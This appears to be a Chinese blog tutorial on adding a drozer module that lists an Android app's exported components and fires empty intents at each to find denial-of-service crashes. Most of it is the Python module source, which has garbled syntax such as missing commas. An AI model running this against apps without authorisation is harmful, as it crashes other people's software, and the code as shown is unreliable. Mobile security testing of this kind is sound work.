Bootstrap

使用drozer批量挖拒绝服务漏洞

drozer可以检测出安卓暴露的四大组件,一个个尝试是否存在越权、拒绝服务等太麻烦,又耗时间。

所以一般机械式的重复性工作我们都可以利用工具来帮我们实现:

1.drozer工具的基础使用:

1

https://blog.csdn.net/lmh666888/article/details/125644667

2.drozer批量检测拒绝服务:

添加drozer模块,进入drozer目录:

进入drozer/modules/app/打开package.py,在最后增加我们自己编写的批量检测代码

新加一类,代码如下:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

host = platform.system().lower()

class Deny(Module, common.Filters, common.PackageManager):

  

    name = "find NullPointerException"

    description = "."

    examples = """

    dz> run app.package.deny com.android.browser

    """   

    license = "BSD (3 clause)"

    path = ["app""package"]

    permissions = ["com.mwr.dz.permissions.GET_CONTEXT"]

  

    def add_arguments(self, parser):

        parser.add_argument("package"help="the identifier of the package to inspect")

  

    def attack(self,component,package,flags):

        act=None

        cat=None

        data=None

        comp=(package,component.name)

        extr=None

        flgs=None

  

        if(flags=='activity'):

            flgs =['ACTIVITY_NEW_TASK']

  

        intent = android.Intent(action=act,component=comp,category=cat,data_uri=None, extras=extr, flags=flgs, mimetype=None)

  

        if intent.isValid():

            if(flags=='activity'):

                self.getContext().startActivity(intent.buildIn(self))

            if(flags=='service'):

                self.getContext().startService(intent.buildIn(self))

            if(flags == 'receiver'):

                self.getContext().sendBroadcast(intent.buildIn(self))

        else:

            self.stderr.write("[-] Invalid Intent!\n")

  

  

    def execute(self, arguments):

        if arguments.package != None:

            package = self.packageManager().getPackageInfo(arguments.package, common.PackageManager.GET_ACTIVITIES | common.PackageManager.GET_RECEIVERS | common.PackageManager.GET_PROVIDERS | common.PackageManager.GET_SERVICES)

            application = package.applicationInfo

  

            activities = self.match_filter(package.activities, 'exported'True)

            receivers = self.match_filter(package.receivers, 'exported'True)

            providers = self.match_filter(package.providers, 'exported'True)

            services = self.match_filter(package.services, 'exported'True)

             

            self.stdout.write("Attack Surface:\n")

            self.stdout.write("  %d activities exported\n" % len(activities))

            self.stdout.write("  %d broadcast receivers exported\n" % len(receivers))

            self.stdout.write("  %d content providers exported\n" % len(providers))

            self.stdout.write("  %d services exported\n" % len(services))

  

            if (application.flags & application.FLAG_DEBUGGABLE) != 0:

                self.stdout.write("    is debuggable\n")

  

            if package.sharedUserId != None:

                self.stdout.write("    Shared UID (%s)\n" % package.sharedUserId)

  

            actions=[activities,receivers,services]

            action_str=['activity','receiver','service']

            i=-1

            try:

                for action in actions:

                    i+=1

                    if len(action) > 0:

                        for tmp in action:

                            try:

                                if len(tmp.name) > 0:

                                    self.stdout.write(" [+]%s name:%s\n" % (action_str[i],tmp.name))

                                    self.attack(component=tmp, package=arguments.package, flags=action_str[i])

                                    if host == "windows":

                                        os.system("pause")

                                    else:

                                        input('')

                            except Exception, e:

                                self.stdout.write(" error-->%s name:%s\n" % (action_str,tmp.name))

                                self.stdout.write(" errorcontent:%s\n" % e)

                                continue

            except:

                self.stdout.write(" error")

        else:

            self.stdout.write("No package specified\n")

3.连接drozer进行尝试:

每次只需要敲回车便可以对组件进行测试:

;